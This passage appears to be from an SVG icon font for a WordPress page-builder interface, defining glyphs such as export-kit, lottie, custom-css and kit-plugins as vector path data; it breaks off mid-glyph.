<glyph glyph-name="export-kit" unicode="&#xe970;" d="M838 767c64 0 117-51 120-115l0-7v-235c0-23-18-42-41-42-22 0-39 16-42 37l0 5v32h-750v-404c0-20 15-35 33-38l4 0h676c19 0 35 15 37 34l0 4c0 23 19 42 42 42s41-19 41-42c0-64-50-118-113-121l-7 0h-676c-64 0-117 50-120 114l0 7v607c0 65 50 118 113 122l7 0h676z m-5-427c6 0 11-2 15-6l104-98c8-8 8-21 1-30l-105-98c-9-8-22-8-30 0-4 4-6 10-6 15l0 56h-271c-23 0-41 19-41 41 0 22 16 40 36 42l5 0h271l0 56c1 12 10 22 21 22z m5 343h-676c-19 0-35-14-37-33l0-5v-120h750v120c0 20-15 36-33 38l-4 0z m-633-38c23 0 42-19 42-42s-19-41-42-41-42 18-42 41 19 42 42 42z m122 0c23 0 41-19 41-42s-18-41-41-41-42 18-42 41 19 42 42 42z m121 0c23 0 42-19 42-42s-19-41-42-41c-23 0-41 18-41 41s18 42 41 42z" horiz-adv-x="1000" />

<glyph glyph-name="import-kit" unicode="&#xe971;" d="M838 767c64 0 117-51 120-115l0-7v-235c0-23-18-42-41-42-22 0-39 16-42 37l0 5v32h-750v-404c0-20 15-35 33-38l4 0h676c19 0 35 15 37 34l0 4c0 23 19 42 42 42s41-19 41-42c0-64-50-118-113-121l-7 0h-676c-64 0-117 50-120 114l0 7v607c0 65 50 118 113 122l7 0h676z m-213-427c-5 0-10-2-14-6l-104-98c-9-8-9-21-1-30l105-98c8-8 22-8 29 0 4 4 6 10 6 15l0 56h271c23 0 42 19 42 41 0 22-16 40-37 42l-5 1h-271l0 56c0 11-9 21-21 21z m213 343h-676c-19 0-35-14-37-33l0-5v-120h750v120c0 20-15 36-33 38l-4 0z m-633-38c23 0 42-19 42-42s-19-41-42-41-42 18-42 41 19 42 42 42z m122 0c23 0 41-19 41-42s-18-41-41-41-42 18-42 41 19 42 42 42z m121 0c23 0 42-19 42-42s-19-41-42-41c-23 0-41 18-41 41s18 42 41 42z" horiz-adv-x="1000" />

<glyph glyph-name="lottie" unicode="&#xe972;" d="M200 767c13 0 23-11 23-24s-10-23-23-23-23 10-23 23 10 24 23 24z m47-64c7 11 21 14 32 7 36-24 64-55 86-86 8-11 5-25-5-33s-25-5-33 6c-19 27-44 54-74 73-10 8-13 22-6 33z m137-146c11 6 25 2 31-10 24-44 43-93 52-146 0-3 1-8 1-12l1-9 64 0c11 0 21-8 22-19l1-4c0-12-8-21-20-23l-3 0-62 0 0-14 0-15-1-19c-1-16-2-30-3-40-12-103-50-190-117-246-63-55-172-73-249-4-38 35-63 88-58 159 5 70 35 118 85 157 59 47 152 67 269 68l25 0 0 3-2 11c-7 46-25 91-46 131-6 11-1 25 10 32z m41-223l-12 0c-115 0-205-17-256-58-41-33-64-68-68-124-4-56 15-95 44-121 56-51 140-36 187 4 57 49 90 124 101 217l1 13c1 9 2 21 2 33l1 16 0 20z m377 42l130-3c13-1 23-12 23-25-1-11-10-20-20-22l-4 0-130 4c-13 0-23 11-23 24 1 11 10 21 20 22l4 0z m-155 5l67-2c13-1 23-11 22-24 0-12-9-21-20-23l-3 0-67 2h-25c-13 0-23 10-23 23 0 12 8 21 19 23l4 0 26 1z" horiz-adv-x="1000" />

<glyph glyph-name="products-archive" unicode="&#xe973;" d="M896 788c54 0 100-38 104-87l0-7v-688c0-50-43-90-97-93l-7-1h-792c-54 0-100 38-104 87l0 7v688c0 50 43 90 97 93l7 1h792z m0-42h-792c-33 0-59-21-62-47l0-5v-688c0-26 24-49 56-51l6-1h792c33 0 59 21 62 47l0 5v688c0 26-24 49-56 51l-6 1z m7-417c7 0 14-6 14-14v-305c0-8-7-14-14-14h-368c-8 0-14 6-14 14v305c0 8 6 14 14 14h368z m-438 0c8 0 14-6 14-14v-305c0-8-6-14-14-14h-368c-7 0-14 6-14 14v305c0 8 7 14 14 14h368z m410-41h-312v-250h312v250z m-437 0h-313v-250h313v250z m-171-192c11 0 21-9 21-21s-10-21-21-21c-12 0-21 9-21 21s9 21 21 21z m64 0c12 0 21-9 21-21s-9-21-21-21c-11 0-21 9-21 21s10 21 21 21z m373 0c12 0 21-9 21-21s-9-21-21-21-21 9-21 21 10 21 21 21z m65 0c11 0 21-9 21-21s-10-21-21-21c-12 0-21 9-21 21s9 21 21 21z m-554 175c8 0 15-4 18-11l2-3 7-22 121 0c15 0 28-11 30-25l0-5c0-2 0-4 0-6l-1-3-24-71c-4-11-13-18-25-20l-4 0h-76c-11 0-22 6-27 16l-1 4-35 104-12 0c-11 0-19 8-21 17l0 4c0 10 7 19 17 20l4 1h27z m438 0c7 0 14-4 18-11l2-3 7-22 121 0c15 0 27-11 29-25l1-5c0-2-1-4-1-6l-1-3-24-71c-3-11-12-18-24-20l-4 0h-76c-11 0-22 6-27 16l-1 4-35 104-13 0c-10 0-18 7-20 17l-1 4c0 10 8 19 17 20l4 1h28z m-306-77h-92l16-48h59l17 48z m437 0h-91l16-48h59l16 48z m119 510c7 0 14-6 14-14v-305c0-8-7-14-14-14h-368c-8 0-14 6-14 14v305c0 8 6 14 14 14h368z m-438 0c8 0 14-6 14-14v-305c0-8-6-14-14-14h-368c-7 0-14 6-14 14v305c0 8 7 14 14 14h368z m410-41h-312v-250h312v250z m-437 0h-313v-250h313v250z m-171-192c11 0 21-9 21-21s-10-21-21-21c-12 0-21 9-21 21s9 21 21 21z m64 0c12 0 21-9 21-21s-9-21-21-21c-11 0-21 9-21 21s10 21 21 21z m373 0c12 0 21-9 21-21s-9-21-21-21-21 9-21 21 10 21 21 21z m65 0c11 0 21-9 21-21s-10-21-21-21c-12 0-21 9-21 21s9 21 21 21z m-554 175c8 0 15-4 18-11l2-3 7-22 121 0c15 0 28-11 30-25l0-5c0-2 0-4 0-6l-1-3-24-71c-4-11-13-18-25-20l-4 0h-76c-11 0-22 6-27 16l-1 4-35 104-12 0c-11 0-19 8-21 17l0 4c0 10 7 19 17 20l4 1h27z m438 0c7 0 14-4 18-11l2-3 7-22 121 0c15 0 27-11 29-25l1-5c0-2-1-4-1-6l-1-3-24-71c-4-11-13-18-24-20l-4 0h-77c-11 0-21 6-26 16l-2 4-34 104-13 0c-10 0-19 8-20 17l-1 4c0 10 8 19 17 20l4 1h28z m-306-77h-92l16-48h59l17 48z m437 0h-91l16-48h59l16 48z" horiz-adv-x="1000" />

<glyph glyph-name="single-product" unicode="&#xe974;" d="M896 788c54 0 100-38 104-87l0-7v-688c0-50-43-90-97-93l-7-1h-792c-54 0-100 38-104 87l0 7v688c0 50 43 90 97 93l7 1h792z m0-42h-792c-33 0-59-21-62-47l0-5v-688c0-26 24-49 56-51l6-1h792c33 0 59 21 62 47l0 5v688c0 26-24 49-56 51l-6 1z m-647-625c7 0 14-6 14-14v-97c0-8-7-14-14-14h-152c-7 0-14 6-14 14v97c0 8 7 14 14 14h152z m216 0c8 0 14-6 14-14v-97c0-8-6-14-14-14h-147c-8 0-14 6-14 14v97c0 8 6 14 14 14h147z m221 0c8 0 14-6 14-14v-97c0-8-6-14-14-14h-151c-8 0-14 6-14 14v97c0 8 6 14 14 14h151z m217 0c7 0 14-6 14-14v-97c0-8-7-14-14-14h-148c-7 0-13 6-13 14v97c0 8 6 14 13 14h148z m-682-42h-96v-41h96v41z m217 0h-92v-41h92v41z m220 0h-95v-41h95v41z m217 0h-92v-41h92v41z m28 625c7 0 14-6 14-14v-514c0-7-7-13-14-13h-806c-7 0-14 6-14 13v514c0 8 7 14 14 14h806z m-28-41h-750v-459h750v459z m-437-340c11 0 20-10 20-21 0-12-9-21-20-21s-21 9-21 21c0 11 9 21 21 21z m104 0c11 0 21-10 21-21 0-12-10-21-21-21-12 0-21 9-21 21 0 11 9 21 21 21z m-201 298c8 0 15-4 19-11l1-3 17-49 230 0c19 0 35-15 37-33l0-4c0-3 0-6 0-8l-2-4-43-129c-5-14-16-23-30-25l-5 0h-137c-15 0-28 8-34 20l-1 5-60 177 0 0-7 22h-34c-11 0-19 8-21 17l0 4c0 10 7 19 17 20l4 1h49z m260-105h-210l39-119h131l40 119z" horiz-adv-x="1000" />

<glyph glyph-name="disable-trash-o" unicode="&#xe975;" d="M600 808c27 0 52-13 68-35l3-6 59-102h143c13 0 25-10 27-25l0-4v-28c0-15-10-27-23-29l-4 0h-28l0-516 107-93c8-8 9-21 2-30l-28-31c-7-9-21-9-29-2l-55 48c-9-35-38-61-74-64l-6 0h-499c-43 0-79 35-83 79l0 7 0 553-132 116c-8 7-9 21-2 29l28 32c7 8 21 9 29 2l51-44 142 0 58 102c14 23 38 39 65 41l6 0h175z m-337-349l0-482h499l0 48-111 96 0-36c0-11-7-20-17-22l-4 0h-41c-10 0-19 7-21 17l0 4 0 109-111 96 0-205c0-10-7-19-17-21l-4 0h-41c-10 0-19 7-21 17l0 4 0 277-111 98z m499 120h-499l0-10 111-96c1 10 8 18 17 20l4 0h42c10 0 18-7 20-17l1-4 0-71 110-96 0 167c0 11 8 19 17 21l4 1h42c10 0 19-8 20-18l1-3 0-240 111-96-1 442z m-168 144h-163c-3 0-5-2-7-3l-1-2-31-53h241l-30 53c-1 2-4 4-6 5l-3 0z" horiz-adv-x="1000" />

<glyph glyph-name="single-page" unicode="&#xe976;" d="M896 788c54 0 100-38 104-87l0-7v-688c0-50-43-90-97-93l-7-1h-792c-54 0-100 38-104 87l0 7v688c0 50 43 90 97 93l7 1h792z m0-42h-792c-33 0-59-21-62-47l0-5v-688c0-26 24-49 56-51l6-1h792c33 0 59 21 62 47l0 5v688c0 26-24 49-56 51l-6 1z m-410-542c8 0 14-6 14-14v-180c0-8-6-14-14-14h-389c-7 0-14 6-14 14v180c0 8 7 14 14 14h389z m410-166c12 0 21-10 21-21 0-11-8-19-17-21l-4 0h-333c-12 0-21 9-21 21 0 10 7 18 17 20l4 1h333z m-438 125h-333v-125h333v125z m438-42c12 0 21-9 21-21 0-10-8-19-17-20l-4-1h-333c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h333z m0 83c12 0 21-9 21-21 0-10-8-18-17-20l-4 0h-333c-12 0-21 9-21 20 0 11 7 19 17 21l4 0h333z m7 500c7 0 14-6 14-14v-430c0-8-7-14-14-14h-806c-7 0-14 6-14 14v430c0 8 7 14 14 14h806z m-258-176l-165-170c-6-5-14-8-22-5l-3 2-123 72-153-139h671l-205 240z m230 135h-750v-368l190 173c6 5 14 7 21 4l4-2 122-71 170 174c7 8 19 8 28 2l3-3 212-249v340z m-625-42c35 0 63-28 63-63s-28-62-63-62-62 28-62 62 27 63 62 63z m0-42c-12 0-21-9-21-21s9-20 21-20 21 9 21 20-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="wordpress-light" unicode="&#xe977;" d="M500 850c276 0 500-224 500-500s-224-500-500-500-500 224-500 500 224 500 500 500z m8-541l-137-399c41-12 84-18 129-18 53 0 104 9 151 25l-143 392z m-466 41c0-177 100-331 247-407l-212 582c-23-54-35-113-35-175z m873 195l0-5 0-13c0-44-7-94-30-154l-5-14-138-398c130 81 216 225 216 389 0 70-15 135-43 195z m-415 263c-157 0-297-79-379-200l11 0 0 0 5 0c49 0 126 5 126 5 23 2 27-31 7-38l-4 0c0 0-22-2-48-4l-6-1 171-509 103 309-73 200-17 2c-18 1-32 3-32 3-24 1-23 36-1 39l4 0c0 0 71-6 118-6h13l20 0c46 2 98 6 98 6 24 1 28-32 7-38l-4-1c0 0-22-2-48-4l-6-1 170-505 48 157 15 52c12 39 20 71 20 100 0 58-20 99-38 130l-12 19c-19 30-35 59-35 91 0 39 28 77 68 82-81 70-186 112-301 112z" horiz-adv-x="1000" />

<glyph glyph-name="cogs-check" unicode="&#xe978;" d="M736 312c116 0 210-94 210-210s-94-210-210-210-210 94-210 210 94 210 210 210z m-183 496c20 0 37-14 40-34l15-100c19-9 38-20 56-33l94 38c20 7 41-1 50-18l84-145c9-18 5-39-10-51l-80-63c1-10 1-21 1-33l0-5 0 0c0-5-3-11-8-14s-10-5-15-5c-41 8-77 5-115-6-6-1-12 0-17 4s-8 10-7 15l1 7 0 0c0 98-77 175-172 175s-172-77-172-172c0-95 77-173 172-173l9 1 0 0c6 0 12-2 16-7s5-11 3-17c-7-23-10-47-10-71 0-51 15-100 44-141 4-6 5-14 1-20-3-6-9-10-17-10h-131c-20 0-37 15-39 34l-15 101c-19 8-38 20-56 33l-95-38c-19-7-40 0-49 18l-84 145c-9 17-5 39 10 51l80 63c-1 12-2 23-2 33 0 10 1 20 2 33l-80 62c-16 12-20 34-9 51l83 145c10 17 31 25 49 18l95-38c19 13 38 24 56 33l15 100c2 19 19 34 39 34h168z m183-534c-94 0-171-77-171-172s77-172 171-172 172 78 172 172-77 172-172 172z m-351 496l-17-112c-1-7-5-13-12-15-22-10-44-22-66-39-6-4-13-5-19-3l-105 42-86-146 89-72c5-4 8-10 7-17-2-15-3-28-3-39 0-11 1-24 3-39 1-6-2-13-7-17l-89-69 84-148 107 41c2 1 4 1 7 1 4 0 8-1 12-4 20-16 43-29 66-39 7-2 11-8 12-15l16-111 99-1c-22 41-33 87-33 133 0 19 2 38 6 57-110 7-196 99-196 210 0 116 94 210 210 210 111 0 203-86 210-196 28 6 56 7 85 4 0 8-1 15-2 22-1 6 2 13 7 17l89 69-84 148-107-41c-6-3-13-2-18 2-21 17-44 30-67 39-6 3-11 8-12 15l-16 111-170 2z m460-597c8-8 8-20 0-28l-133-133c-4-4-9-6-14-6s-9 2-13 6l-77 76c-7 8-7 20 0 27 8 8 20 8 27 0l63-62 120 120c8 7 20 7 27 0z" horiz-adv-x="1000" />

<glyph glyph-name="custom-css" unicode="&#xe979;" d="M896 808c55 0 100-45 104-101l0-7v-742c0-29-11-56-30-76-18-18-41-29-66-31l-8-1h-792c-55 0-100 45-104 102l0 6v742c0 57 43 104 97 108l7 0h792z m62-208h-916v-642c0-35 25-63 56-66l6 0h792c17 0 32 6 44 18 10 11 17 25 18 41l0 7v642z m-404-174c10-3 15-13 13-23l-1-4-127-323c-4-11-16-16-27-11-10 3-15 13-13 23l1 4 127 323c4 10 17 15 27 11z m-215-15c7-7 8-18 3-27l-3-3-120-120 120-120c7-7 8-18 3-26l-3-3c-7-7-18-8-26-3l-3 3-135 135c-7 7-8 18-2 26l2 3 135 135c8 8 21 8 29 0z m320 0c7 7 18 8 26 2l3-2 135-135 2-3c5-7 5-16 0-23l-2-3-135-135-3-2c-7-5-16-5-23 0l-3 2-3 3c-5 7-5 17 0 24l3 3 120 120-120 120-3 3c-5 8-4 19 3 26z m237 356h-792c-32 0-59-27-62-61l0-6v-58h916v58c0 35-25 63-56 66l-6 1z m-792-42c12 0 21-9 21-21s-9-21-21-21-21 10-21 21 10 21 21 21z m84 0c11 0 20-9 20-21s-9-21-20-21-21 10-21 21 9 21 21 21z m83 0c12 0 21-9 21-21s-9-21-21-21c-12 0-21 10-21 21s9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="global-colors" unicode="&#xe97a;" d="M465 469c198 216 427 328 481 270 52-56-65-266-282-444l-12-10-16-12c-37-28-88-63-153-103l-21-14c3-100-64-203-163-210-15-1-48-1-84 1l-40 3-32 2-25 3c-19 2-36 4-49 7l-9 1c-9 2-17 5-22 8l-5 2c-1 2-3 3-4 4l-2 2c-7 8-9 19-2 29l2 2 2 2c7 8 15 19 24 38l6 13 9 24 26 67 10 23c17 39 34 70 54 95 46 60 125 73 190 49l21 29c28 38 53 70 74 95l8 9 14 15z m-330-321l-13-34c-12-32-22-56-31-74l-3-7c-5-11-10-20-14-27l-4-5 5-1c9-2 21-3 34-5l21-1 12-1c26-2 55-3 81-3l19 0 24 0-3 2c-3 4-6 7-9 11l-4 5-4 7-3 5c0 3-2 5-3 9l-15 42-2 8c-7 18-14 31-20 38l-3 3-2 1c-22 17-36 24-55 26l-8 1z m199 137c-50 18-111 9-146-36-14-17-26-38-38-63 25-3 45-13 72-34l4-4c13-12 22-30 32-55l3-9c2-5 15-47 18-52 5-10 18-19 35-25l7-2 20-6 1 0c76 42 111 170 47 247l-7 8-6 6 2-2c-8 7-15 12-24 17l-9 5-11 5z m582 429c-10 5-62-4-125-34-87-42-184-116-282-220l-22-24-16-17c-16-19-33-41-53-67l-10-14-26-34c6-4 12-9 18-13l5-5 7-7c19-20 33-44 41-69l3-11 37 24 29 19c18 12 35 23 51 33l11 8 20 15 9 6 15 12c117 94 200 189 249 276 33 59 46 109 41 120l-1 1-1 1z" horiz-adv-x="1000" />

<glyph glyph-name="globe" unicode="&#xe97b;" d="M500 808c-253 0-458-205-458-458 0-253 205-458 458-458 253 0 458 205 458 458 0 253-205 458-458 458z m331-295h-124c-12 67-32 127-57 175 79-35 143-98 181-175l0 0z m-331 207c34 0 90-77 117-207h-234c27 130 83 207 117 207z m-370-370c0 25 3 50 8 74h144c-2-24-4-49-4-74s2-50 4-74h-144c-5 24-8 49-8 74z m39-162h124c12-68 32-128 57-175-79 35-143 97-181 175l0 0z m124 325h-124c38 77 102 140 181 175-25-48-45-108-57-175l0 0z m207-533c-34 0-90 77-117 208h234c-27-131-83-208-117-208z m130 296h-260c-2 24-3 48-3 74s2 50 3 74h260c2-24 3-48 3-74s-1-50-3-74z m20-263c25 47 45 107 57 175h124c-38-78-102-140-181-175l0 0z m69 263c1 24 3 49 3 74s-1 50-3 74h144c5-24 7-49 7-74s-2-50-7-74h-144z" horiz-adv-x="1000" />

<glyph glyph-name="typography-1" unicode="&#xe97c;" d="M230 663c28 0 28-41 1-42-17-1-30-3-36-6-3-1-5-3-7-7l0-3c-3-8-3-21-3-38l0-151h256l0 151c0 20-2 33-4 41-2 4-3 7-7 8-6 2-18 4-36 5-27 2-26 42 1 42h209c27 0 28-40 1-42-17-1-30-2-36-5-4-1-5-3-7-8-2-8-4-21-4-41v-434c0-20 2-33 4-41 2-4 3-7 7-8 6-2 18-4 36-5 27-1 26-42-1-42h-209c-27 0-28 41-1 42 17 1 30 2 36 5 3 1 5 4 7 8l1 3c2 8 2 21 2 38l0 155h-255l0-155c0-20 1-34 3-41 2-4 4-7 7-8 6-3 18-5 36-6 27-1 27-41-1-41h-209c-27 0-28 40-1 41 18 1 30 3 36 6 4 1 5 3 7 8 2 7 4 21 4 41v434c0 20-2 33-4 41-2 4-3 7-7 8-6 2-18 4-36 5l-4 0c-23 5-21 42 5 42h209z m648-4c13 9 30 1 32-14l1-3v-489c0-21 3-37 8-48 5-8 12-15 23-19l13-5 2-1c1 0 3 0 5 0l7-1 10 0 4 0c20-4 22-33 4-40l-4-1-4-1h-264l-4 1c-22 3-22 37 0 40l4 1 8 0c26 0 36 4 55 16 12 9 19 25 20 50l0 8v280c0 34-3 59-9 73-7 15-21 32-32 37-7 4-23 9-47 14l-8 1-19 4c-24 4-21 41 4 41 54 1 98 6 133 14 12 3 18 6 25 12l4 4 11 11c6 6 12 10 18 15z m-729-38h-47c4-13 6-31 6-54v-434l0-10c0-15-1-28-4-38l-1-6h46c-4 13-6 31-6 54v176c0 11 9 21 21 21h297c12 0 21-10 21-21v-176l0-10c0-15-2-28-4-38l-2-6h47c-4 13-6 31-6 54v434l0 10c0 16 1 28 4 38l2 6h-47c4-13 6-31 6-54v-172c0-12-9-21-21-21h-297c-12 0-21 9-21 21v172l0 10c0 16 2 28 4 38l2 6z m720-25l-1-2c-11-8-22-13-38-16-7-2-15-4-24-5l-13-3-1 0 3-2c9-8 18-18 24-29l5-9 3-7c8-18 12-44 13-78l0-12v-280c0-26-5-49-15-66l-5-6-1-1h67l-4 6c-8 15-12 34-13 57l0 11 0 442z" horiz-adv-x="1000" />

<glyph glyph-name="background" unicode="&#xe97d;" d="M896 808c55 0 100-45 104-101l0-7v-742c0-29-11-56-30-76-18-18-41-29-66-31l-8-1h-792c-55 0-100 45-104 102l0 6v742c0 57 43 104 97 108l7 0h792z m62-208h-916v-153l601-555h253c14 0 28 5 39 14l5 4c10 11 17 25 18 41l0 7v642z m-640-465l-238-238c2-1 4-2 7-3 1 0 3-1 5-1l6-1 6 0 89 0 186 186-61 57z m92-85l-158-158h118l101 101-61 57z m92-85l-73-73h118l16 16-61 57z m-276 255l-184-185v-77l0-7 0 0 1-7 2-7 2-4 1-3 0 0 2-4 238 237-62 57z m-92 85l-92-93v-118l153 154-61 57z m-91 85l-1-1v-118l62 62-61 57z m853 377h-792c-32 0-59-27-62-61l0-6v-58h916v58c0 35-25 63-56 66l-6 1z m-792-42c12 0 21-9 21-21s-9-21-21-21-21 10-21 21 10 21 21 21z m84 0c11 0 20-9 20-21s-9-21-20-21-21 10-21 21 9 21 21 21z m83 0c12 0 21-9 21-21s-9-21-21-21c-12 0-21 10-21 21s9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="device-responsive" unicode="&#xe97e;" d="M883 588c42 0 75-34 75-75v-442c0-41-33-75-75-75h-225c-41 0-75 34-75 75v442c0 41 34 75 75 75h225z m-8-84h-208v-425h208v425z m-85 209c40 0 73-33 74-73l0-2v-9h-658v-368h336v-139h-454c-25 0-45 20-46 44l0 2v31c0 7 6 13 13 14l0 0h79c-7 10-11 23-11 37l0 3v385c0 41 32 74 72 75l2 0h593z" horiz-adv-x="1000" />

<glyph glyph-name="device-wide" unicode="&#xe97f;" d="M632 79c8 0 14-6 14-14v-23c0-26-21-46-46-46h-200c-25 0-46 20-46 46v23c0 8 6 14 14 14h264z m245 625c44 0 81-36 81-80l0-1v-420c0-45-35-81-80-82l-1 0h-754c-44 0-81 36-81 81l0 1v420c0 44 36 81 80 81l1 0h754z m-2-83h-750v-417h750v417z" horiz-adv-x="1000" />

<glyph glyph-name="code-highlight" unicode="&#xe980;" d="M169 487c7-7 8-18 2-27l-3-2-118-118 120-127c7-7 8-18 2-26l-3-3c-7-7-19-8-26-2l-3 3-134 141c-7 7-8 18-2 26l2 3 133 132c9 8 21 8 30 0z m689 3l3-3 133-132c7-7 8-17 3-25l-3-4-134-141c-8-8-21-9-30-1-7 7-8 19-2 27l2 3 120 126-118 118c-7 7-9 18-3 27l3 3c6 6 18 7 26 2z m-169-355c10 0 19-9 19-19v-4c0-11-9-19-19-19h-378c-10 0-18 8-18 19v4c0 10 8 19 18 19h378z m-96 111c10 0 19-8 19-19v-4c0-10-9-19-19-19h-282c-10 0-18 9-18 19v4c0 11 8 19 18 19h282z m96 111c10 0 19-9 19-19v-4c0-11-9-19-19-19h-378c-10 0-18 8-18 19v4c0 10 8 19 18 19h378z m-96 111c10 0 19-8 19-19v-4c0-10-9-19-19-19h-282c-10 0-18 9-18 19v4c0 11 8 19 18 19h282z m96 111c10 0 19-8 19-19v-4c0-10-9-18-19-18h-378c-10 0-18 8-18 18v4c0 11 8 19 18 19h378z" horiz-adv-x="1000" />

<glyph glyph-name="video-playlist" unicode="&#xe981;" d="M407 473c5 2 12 3 18 0l3-1 292-188c5-4 9-10 9-17 0-6-2-12-6-16l-3-2-292-187c-3-2-8-4-11-4-4 0-7 1-10 3-6 3-9 8-11 14l0 4v375c0 8 4 15 11 19z m31-57v-299l232 149-232 150z m466 288c14 0 25-11 25-25v-17h-858v17c0 14 12 25 25 25h808z m-72 84c14 0 25-12 25-25v-17h-714v17c0 13 11 25 25 25h664z m147-876h-958c-12 0-21 10-21 21v667c0 12 9 21 21 21h958c12 0 21-9 21-21v-667c0-11-9-21-21-21z m-937 42h916v625h-916v-625z" horiz-adv-x="1000" />

<glyph glyph-name="download-kit" unicode="&#xe982;" d="M887-101h-775c-62 0-112 51-112 113v663c0 62 50 113 112 113h774c62 0 112-51 112-113v-663c1-62-50-113-111-113z m-775 846c-38 0-70-31-70-70v-663c0-39 32-70 70-70h774c39 0 70 32 70 70v663c0 39-31 70-70 70h-774z m389-527l0 0c2 0 3 0 4 1l0 0 0 0c1 1 1 1 2 1 2 1 3 2 5 3l147 127c9 7 9 21 2 30-8 8-21 9-30 2l-112-97v270c0 12-9 22-21 22-12 0-22-9-22-22v-270l-112 97c-9 7-23 6-30-2-8-9-7-23 2-30l147-127c1-1 3-2 5-3 0 0 1-1 2-1l0 0 0 0c1 0 2 0 3-1l0 0c2 0 2 0 4 0l0 0c2 0 3 0 4 0z m166-63c0 11-9 21-22 21h-295c-11 0-21-9-21-21 0-12 9-22 21-22h296c12 0 21 10 21 22z" horiz-adv-x="1000" />

<glyph glyph-name="kit-details" unicode="&#xe983;" d="M887-101h-775c-62 0-112 51-112 113v663c0 62 50 113 112 113h774c62 0 112-51 112-113v-663c1-62-50-113-111-113z m-775 846c-38 0-70-31-70-70v-663c0-39 32-70 70-70h774c39 0 70 32 70 70v663c0 39-31 70-70 70h-774z m259-126c12 0 22-9 22-21v-85c0-12-10-21-22-21h-84c-12 0-21 9-21 21v85c0 11 9 21 21 21h84z m254-85c11 0 21-9 21-21s-9-21-21-21h-169c-12 0-21 9-21 21s9 21 21 21h169z m-275 43h-42v-42h42v42z m359 42c11 0 21-9 21-21 0-12-9-22-21-22h-254c-11 0-21 9-21 22 0 11 9 21 21 21h254z m-338-211c12 0 22-9 22-21v-85c0-12-10-21-22-21h-84c-12 0-21 9-21 21v85c0 11 9 21 21 21h84z m254-85c11 0 21-9 21-21 0-12-9-21-21-21h-169c-12 0-21 9-21 21 0 12 9 21 21 21h169z m-275 42h-42v-42h42v42z m359 43c11 0 21-9 21-21s-9-22-21-22h-254c-11 0-21 10-21 22s9 21 21 21h254z m-338-211c12 0 22-9 22-22v-84c0-12-10-21-22-21h-84c-12 0-21 9-21 21v84c0 12 9 22 21 22h84z m254-84c11 0 21-10 21-22s-9-21-21-21h-169c-12 0-21 9-21 21s9 22 21 22h169z m-275 42h-42v-42h42v42z m359 42c11 0 21-9 21-22 0-11-9-21-21-21h-254c-11 0-21 9-21 21 0 12 9 22 21 22h254z" horiz-adv-x="1000" />

<glyph glyph-name="kit-parts" unicode="&#xe984;" d="M887 788c59 0 108-47 112-105l0-8v-663c0-60-46-108-105-112l-7 0h-775c-59 0-108 46-112 105v7 663c0 60 46 109 105 112l7 1h775z m-555-225h-290v-551c0-37 28-67 64-70l6-1h220v622z m625-443h-583v-178h512c37 0 67 28 70 64l1 6 0 108z m0 443h-583v-400h582v400z m-87-293c11 0 21-9 21-20 0-11-8-19-18-21l-3 0h-410c-11 0-21 9-21 21 0 10 8 18 18 20l3 0h410z m0 111c11 0 21-9 21-21 0-10-8-18-18-20l-3 0h-410c-11 0-21 9-21 20 0 11 8 19 18 21l3 0h410z m0 111c11 0 21-9 21-21 0-11-8-19-18-21l-3 0h-410c-11 0-21 9-21 21 0 10 8 19 18 20l3 1h410z m17 253h-775c-37 0-67-28-70-64v-6-70h914v70l0 6-1 4 0 0 0 4 0 0-1 4-2 6-1 2-2 5-3 6-1 3-4 4-3 4-5 5-5 3-5 4-4 2-3 2-5 2-3 1-3 1c-4 0-7 1-12 2h-6z" horiz-adv-x="1000" />

<glyph glyph-name="kit-upload" unicode="&#xe985;" d="M887-101h-775c-62 0-112 51-112 113v663c0 62 50 113 112 113h774c62 0 112-51 112-113v-663c1-62-50-113-111-113z m-775 846c-38 0-70-31-70-70v-663c0-39 32-70 70-70h774c39 0 70 32 70 70v663c0 39-31 70-70 70h-774z m407-506v271l113-97c8-8 22-7 29 2 8 9 7 23-2 30l-147 126c-1 2-3 3-4 4-1 0-2 0-3 0l0 0 0 0c-1 1-2 1-3 1l0 0c-2 0-2 1-4 1l0 0c0 0-2 0-3 0l0 0c-1 0-2-1-4-2l0 0 0 0c-1 0-1 0-2 0-1-1-3-2-4-4l-149-126c-8-7-9-21-2-30 8-9 21-10 30-2l113 97v-271c0-11 9-21 21-21 12 0 21 9 21 21z m148-84c0 11-9 21-22 21h-295c-11 0-21-9-21-21 0-12 9-22 21-22h296c12 0 21 10 21 22z" horiz-adv-x="1000" />

<glyph glyph-name="kit-plugins" unicode="&#xe986;" d="M730 262h-127v161h127c12 0 21 9 21 21s-9 21-21 21h-127v124c0 2-1 4-3 4l-20-2c-117-10-210-108-221-228h-89c-12 0-21-9-21-21 0-12 9-22 21-22h90c10-120 103-218 221-227l19-2c2 0 4 2 4 4v124h126c12 0 22 9 22 21-1 13-10 22-22 22z m-169-123c-91 19-160 104-160 204s69 184 160 203v-407z m326-240h-775c-62 0-112 51-112 113v663c0 62 50 113 112 113h774c62 0 112-51 112-113v-663c1-62-50-113-111-113z m-775 846c-38 0-70-31-70-70v-663c0-39 32-70 70-70h774c39 0 70 32 70 70v663c0 39-31 70-70 70h-774z" horiz-adv-x="1000" />

<glyph glyph-name="kit-upload-alt" unicode="&#xe987;" d="M887 788h-775c-62 0-112-51-112-113v-663c0-62 50-112 112-112h774c62 0 112 50 112 112v663c1 62-50 113-111 113z m70-776c0-39-32-70-70-70h-775c-39 0-70 31-70 70v663c0 39 32 70 70 70h774c39 0 70-31 70-70v-663z m-122 345l-2 3-65 100c-2 5-6 9-11 12l-96 37c-11 4-23-1-27-12-4-10 1-23 11-27l47-19-200-73-201 74 46 18c11 4 16 16 12 28s-16 15-27 11l-96-37c-6-2-9-7-11-12l-65-100-2-3-1-5v-2c0-3 0-6 1-8l1-5 6-7 56-20v-148c0-9 6-18 14-21l258-93c0-1 1-1 2-1l0 0 0 0c2-1 3-1 5-1 0 0 1 0 1 0s1 0 2 0c1 0 3 0 5 1l0 0 0 0c0 0 1 0 2 1l257 93c8 3 14 12 14 21v148l56 20 6 7 2 5c1 2 1 5 1 8v2l-1 5z m-635 2l42 66 218-80-42-65-218 79z m270-262l-216 79v119l166-60c2-1 4-2 7-2 7 0 13 4 18 10l25 39v-185h0z m259 79l-215-78v185l25-39c4-6 11-10 19-10 2 0 5 1 7 1l165 61v-120h-1z m-164 104l-42 65 218 79 42-65-218-79z m-171 296c-7 9-6 22 2 30l84 72c0 0 0 0 0 0 1 0 1 0 1 1 1 0 1 0 2 1 0 0 0 0 1 0 